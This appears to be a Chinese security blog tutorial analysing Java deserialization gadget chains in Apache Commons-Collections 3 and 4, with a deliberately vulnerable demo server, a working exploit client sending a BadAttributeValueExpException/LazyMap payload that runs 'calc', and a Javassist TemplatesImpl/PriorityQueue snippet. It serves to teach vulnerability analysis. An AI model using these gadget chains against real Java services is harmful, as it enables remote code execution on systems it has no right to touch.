漫谈Commons-Collections反序列化
前言
?? 如果你沒有反序列化的基礎,建議你看筆者博客文章先將基礎學習一下。如果你沒有學習分析過ysoserial--Gadget--URLDNS,建議你看筆者之前發過的文章學習一下。如果你是大佬,前面當筆者沒說。
?? Java的第一個反序列化漏洞就是從commons-collections組件中發現的,從此打開了Java安全的新藍圖。
官方對commons-collections組件的說明:The Java Collections Framework was a major addition in JDK 1.2. It added many powerful data structures that accelerate development of most significant Java applications. Since that time it has become the recognised standard for collection handling in Java.
翻譯一下大概意思就是:Java commons-collections 框架是JDK 1.2之后中的一個重要補充。增加了許多強大的數據結構,加快了Java應用程序的開發。已經成為Java中公認的集合處理標準。
?? 目前commons-collections的反序列化漏洞主要以3和4(版本)為主流,3和4的利用方式也不同,Gadget鏈也不相同。
PS: 為避免代碼太長而導致的閱讀效果,故將完整的實驗代碼全部已經上傳至 https://github.com/SummerSec/JavaLearnVulnerability
Commons-Collections3
?? 先看一下Gadget鏈,入口是上篇文章提及的。這里的3是指版本號,筆者這里只分析網上流傳的某一條利用鏈。BadAttributeValueExpException.readObject()類。
Gadget chain:ObjectInputStream.readObject()BadAttributeValueExpException.readObject()TiedMapEntry.toString()LazyMap.get()ChainedTransformer.transform()ConstantTransformer.transform()InvokerTransformer.transform()Method.invoke()Class.getMethod()InvokerTransformer.transform()Method.invoke()Runtime.getRuntime()InvokerTransformer.transform()Method.invoke()Runtime.exec()?? 試想一下先存在一個服務器,它正好存在使用commons-collections組件,沒有做任何的修復,存在漏洞。此時你是不是就能利用此漏洞呢?
模擬場景DEMO
創建模擬服務器應用
public class server {public static void main(String[] args) {// 模擬服務器端,接受反序列化數據try {ServerSocket serverSocket = new ServerSocket(6666);System.out.println("服務器監聽地址: " + serverSocket.getLocalSocketAddress());while (true){// 接受反序列化數據Socket socket = serverSocket.accept();System.out.println("與地址: " + socket.getInetAddress() + "連接!" );ObjectInputStream ois = new ObjectInputStream(socket.getInputStream());try {// 讀取數據Object ob = ois.readObject();System.out.println("讀取數據完成!");System.out.println(ob);} catch (ClassNotFoundException e) {System.out.println("讀取數據失敗!");e.printStackTrace();}}} catch (IOException e) {e.printStackTrace();}} }利用代碼
public class user {public static void main(String[] args) throws Exception {//目的服務器地址String tas = "127.0.0.1";// 端口int port = 6666;// payloadTransformer[] transformers = new Transformer[]{new ConstantTransformer(Runtime.class),new InvokerTransformer("getMethod",new Class[]{String.class,Class[].class},new Object[]{"getRuntime", new Class[0]}),new InvokerTransformer("invoke",new Class[]{Object.class,Object[].class},new Object[]{null, new Object[0]}),new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"calc"}),new ConstantTransformer("66666!")};Transformer transformerChain = new ChainedTransformer(transformers);// 創建漏洞map ObjectMap inmap = new HashMap();Map lazymap = LazyMap.decorate(inmap,transformerChain);TiedMapEntry entry = new TiedMapEntry(lazymap,"hack by Summer");// 創建異常,在反序列化時觸發payloadBadAttributeValueExpException expException = new BadAttributeValueExpException(null);try {Field field = expException.getClass().getDeclaredField("val");field.setAccessible(true);field.set(expException, entry);} catch (NoSuchFieldException | IllegalAccessException e) {e.printStackTrace();}// 發送payloadSocket socket = new Socket(tas,port);ObjectOutputStream oos = new ObjectOutputStream(socket.getOutputStream());oos.writeObject(expException);oos.flush();}}漏洞效果
首先得讓模擬服務器在運行,然后發送payload即可。
漏洞分析
?? 分析必定要先斷點,這里筆者將代碼修改了,便于分析。這里就不再貼出,需要的可以去GitHub上自取,斷點直接設置在readObject方法。
溫馨提示:如果你用的是Idea工具,在Debug之前請查看自己Debugger設置,請和我一樣設置。為什么要這么做可以參考:Skipped breakpoint because it happened inside debugger evaluation ,否則你可能出現很多bug。
漏洞觸發流程
2. toString方法會跳轉到TiedMapEntry的toString方法
3. 跟進getValue()方法
4. 跟進到get()方法,在get方法中,會判斷key是否存在。然后跳轉到transform(key),這里的key是隨便填寫的,主要是transform方法是被修改過的,里面有惡意payload。
5. 這里是用Java的反射機制,建議去了解一下。推薦博文從安全角度談Java反射機制
?? 看完整個完整的過程,每一步都對應著文章開頭的Gadget chain。創建異常類BadAttributeValueExpException,以便于在反序列化時觸發payload。
漏洞成因分析
?? 過程看完了,但是我們還是無法理解為什么可以這么構造,還是得一步步看POC源碼。我們一一對著官方文檔分析函數方法的具體作用。
?? 這是一段反射執行命令的代碼,這段執行的效果完全等效于transformers[]數組,下面兩張圖片可以完美的詮釋。
?? 創建一個HashMap,使用LazyMap.decorate()方法傳入HashMap和Transformer數組。其中數組是我們構造的payload,最后使用TiedMapEntry傳入一個key。其實也可以這樣子lazymap.get("Summer")也可以傳入key,這樣子會在序列化過程就將key寫入,而在反序列化的時候不會調用LazyMap.get()方法,判斷key是否存在。不存在則會調用this.factory.transform(key);方法,進而觸發反序列化漏洞。所以很顯然這種方法不可取,只能通過修改底層的方式,加入key值,以便于在反序列化的時候觸發漏洞,并同時確保在序列化的過程不會觸發漏洞。
Map inmap = new HashMap();Map lazymap = LazyMap.decorate(inmap,transformerChain);TiedMapEntry entry = new TiedMapEntry(lazymap,"hack by Summer");
?? 到目前為止,并沒有觸發反序列化漏洞的入口。而BadAttributeValueExpException這個類是javax.management報下的一個類,是jdk自帶的,無需依賴第三方。它繼承了Serializable接口滿足反序列化漏洞的條件,它只有一個值權限是private不可修改,但利用反射機制修改其值來到達觸發反序列化漏洞的目的。
小結
?? 反序列化利用點是使用LazyMap在獲取key值的時候,使其key不存在,然后再獲取key的時候觸發漏洞。但需要有一個入口,這里的反序列化觸發的入口是JDK自帶的BadAttributeValueExpException類。有幾個點不得不服大佬們的厲害之處,第一點是找到反序列化的入口BadAttributeValueExpException,這個類得滿足反序列化的基本條件,還得是JDK自帶或者是組件自帶的。第二點是使用LazyMap的key為空來觸發反序列化漏洞。
Commons-Collections4
先看一下Gadget鏈,入口是JDK自帶的PriorityQueue.readObject()。
Gadget chain:ObjectInputStream.readObject()PriorityQueue.readObject()...TransformingComparator.compare()InvokerTransformer.transform()Method.invoke()TemplatesImpl.newTransformer()TemplatesImpl.getTransletInstance()TemplatesImpl.defineTransletClasses()Runtime.exec()?? 斷點擼碼,斷點的位置對于新手可能有點不知道該從何下手,其實掌握一點,看入口,反序列化的入口。Commons-Collections4這里的入口時PriorityQueue.readObject()方法,這時你可以雙擊Shift,找到該類在readObject下斷點。
?? 去掉注釋,也就省這么幾行代碼。自己結合官方文檔分析一下就知道該斷在哪里,如果你在知道具體步驟,你可以將每一行都設置個斷點進行分析。
漏洞分析
漏洞觸發流程
漏洞成因分析
完整的實驗代碼地址https://github.com/SummerSec/JavaLearnVulnerability/blob/master/vuldemo/src/main/java/vul/ccbug/CC4_1.java
?? Javaassist被廣泛用于修改字節碼的工具包,而此gadget chain中使用修改字節碼的形式觸發漏洞。一個 CtClass (編譯時類)對象可以處理一個 class 文件,ClassPool 是 CtClass 對象的容器。
?? 修改好字節碼后,在通過一系列的反射方法,將構造好的字節加入tamplates中,在反序列化的過程觸發漏洞。反射這里就不過多的解釋,如果不懂可以看筆者往期的博文。
// 靜態初始化時插入執行命令的字節碼String cmd = "java.lang.Runtime.getRuntime().exec(\"calc\");";clazz.makeClassInitializer().insertAfter(cmd);// 將初始化后的類設置新的名字clazz.setName("Summer" + System.nanoTime());// 設置父類為AbstractTransletCtClass superC = pool.get(abstTranslet.getName());clazz.setSuperclass(superC);// 獲取修改后的字節碼final byte[] classBytes = clazz.toBytecode();?? 其實將第二個占位只要是Object的類型對象就可以,比例可以是tpl.newInstace()
// 這里queue要占兩個位,比較方法是要兩個才能比較// 兩個位的都要是一個類型,這里都是Objectqueue.add(templates);queue.add(new VerifyError("Summer"));??修改字節碼之后我們再看看newTransformer()–>TemplatesImpl.getTransletInstance() 方法。
?? getTransletInstance()–>defineTransletClasses(),這里會返回一個定義主類的類對象的引用。
?? 最后在這里的強制類型轉化觸發漏洞,到達執行命令的效果。
小結
?? PriorityQueue原本只是個優先隊列,TemplatesImpl原本只是在xalan中的處理xml的模板實現,但是經過大佬之手二者結合產生巨大效果。吾不敢不服,下面只想用一圖展現筆者對此gadget的思考。
總結
?? 看完其實不難發現,Java反序列化漏洞必然離不開Java的反射機制的作用。這種都是底層的Java語言的開發者所想到便于開發的機制,下圖是oracle官方給出的圖例,筆者覺得如果想要打開一個新方向必然會用到一種“新”機制,這種機制應該還是開發人員經常使用的。
?? 一個新的Gadget的產生構造筆者有幾點愚見,如有錯誤還望海涵。
參考
https://tool.oschina.net/apidocs/apidoc?api=commons-collections
https://paper.seebug.org/1195/
http://blog.orleven.com/2017/11/11/java-deserialize/
https://xz.aliyun.com/t/7031#toc-5
https://blog.csdn.net/chenwan8737/article/details/100716015
https://blog.csdn.net/weixin_33802505/article/details/92214760
https://blog.csdn.net/21aspnet/article/details/81671777
https://xalan.apache.org/xalan-j/apidocs/index.html
總結
以上是生活随笔為你收集整理的漫谈Commons-Collections反序列化的全部內容,希望文章能夠幫你解決所遇到的問題。
- 上一篇: 由年龄计算出生年
- 下一篇: SQL server 复杂查询